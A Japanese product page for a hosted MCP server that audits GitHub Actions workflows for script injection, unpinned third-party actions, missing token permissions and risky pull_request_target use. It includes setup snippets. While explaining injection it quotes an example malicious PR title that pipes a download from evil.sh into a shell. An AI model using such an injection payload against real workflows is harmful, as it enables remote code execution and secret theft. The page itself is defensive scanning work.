GitHub Actions Security Audit について
GitHub Actions の YAML に潜む一般的な脆弱性を調べる、セキュリティ担当者やワークフロー管理者向けの MCP サーバーです。構造を解析し、問題箇所やリスク、具体的な修正案を示します。
主な機能
- 01シェル式のインジェクション検出
- 02コミット SHA 未固定の Action の検出
- 03トークン権限の未指定を警告
- 04pull_request_target と head checkout の確認
- 05位置、リスク、修正案の提示
活用シーン
- 01変更をマージする前のワークフロー確認
- 02run コマンドの式インジェクション確認
MCP 対応
MCP クライアント向けに、ワークフロー監査と式インジェクションの個別チェックをツールとして提供します。
設定
リモートサーバーはインストール不要です。クライアントを選んで設定をコピーするか、ワンクリックで導入できます。
https://github-actions-audit-mcp.mcpize.run/mcpclaude mcp add --transport http tylerscomic-lab-github-actions-audit https://github-actions-audit-mcp.mcpize.run/mcp{"mcpServers":{"tylerscomic-lab-github-actions-audit":{"type":"http","url":"https://github-actions-audit-mcp.mcpize.run/mcp"}}}Cursor で開く{"servers":{"tylerscomic-lab-github-actions-audit":{"type":"http","url":"https://github-actions-audit-mcp.mcpize.run/mcp"}}}VS Code で開く{"mcpServers":{"tylerscomic-lab-github-actions-audit":{"type":"http","url":"https://github-actions-audit-mcp.mcpize.run/mcp"}}}{"mcpServers":{"tylerscomic-lab-github-actions-audit":{"serverUrl":"https://github-actions-audit-mcp.mcpize.run/mcp"}}}コマンドはターミナルで実行し、JSON は各クライアントの MCP 設定に貼り付けて再起動します。認可が必要なサーバーは初回接続時にログインを求めます。
ツール
詳細
github-actions-audit-mcp
実際のインシデントを引き起こした脆弱性の種類について、GitHub Actions のワークフロー YAML を監査する MCP サーバーです。リンターではなく、セキュリティスキャナーです。ファイル全体を文字列や正規表現で照合するのではなく、実際のワークフローファイルで使われる範囲に絞った手書きのブロックパーサーで、YAML の構造を解析します。
検出できる問題
スクリプトインジェクション。 攻撃者が制御できるテキスト(Issue/PR のタイトル、コメント、レビュー本文、ブランチ名)を含む ${{ github.event.issue.title }} のような式が、run: シェルステップに直接埋め込まれている場合を検出します。式はシェルの実行前に生成されたシェルスクリプトへ置換されるため、"; curl evil.sh | sh # というタイトルの PR は文字列ではなく、シェル構文として扱われます。これは、実際の GitHub Actions で最もよく見られる脆弱性です。該当する式を正確に示し、実際に無効化できる環境変数を使った修正方法を提示します。
ピン留めされていないサードパーティアクション。 uses: some-action@v4 や @main は、ワークフローファイルを一文字も変更しなくても、そのタグやブランチを管理する人が付け替えられます。これは、tj-actions/changed-files の侵害(2025 年 3 月)で実際に起きたことです。メンテナーの PAT が使われ、v35~v46 のタグが認証情報を窃取するコミットを指すように付け替えられました。変更不可能なのは、40 文字の完全なコミット SHA だけです。
permissions: ブロックの不足。 明示的な permissions: がない場合、GITHUB_TOKEN はリポジトリ/組織の設定に応じた権限(読み取りと書き込みの両方が許可されていることも少なくありません)をデフォルトで持ちます。いずれかのステップが侵害されると、その全権限を引き継ぎます。
pull_request_target と head のチェックアウトの併用。 このトリガーは、通常の pull_request とは異なり、ベースリポジトリのシークレットと書き込み権限のあるトークンで実行されます。さらに、ワークフローが PR 自身の head コミットもチェックアウトする場合、フォークからの PR によって任意のコードがシークレットを使って実行される可能性があります。実際のサプライチェーンインシデントでも、このパターンが発生しています。
ツール
audit_workflow
ワークフロー YAML ファイル全体を監査します。リスクレベルと、危険な理由および具体的な修正方法を含むすべての指摘事項を、正確な位置とともに返します。
check_expression_injection
シェルコマンド文字列を個別に検査します。ワークフローファイル全体ではなく、単一の run: ステップだけを確認したい場合に使います。
利用方法
ホステッド(推奨): MCPize — 無料プラン、Pro は月額 7 ドルです。
セルフホスト:
npm install
node server.js
小規模なツール群の一つです
regex-safety-audit-mcp、 mcp-trust-audit-mcp、 secrets-leak-audit-mcp、 dockerfile-audit-mcp。
ライセンス
MIT
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。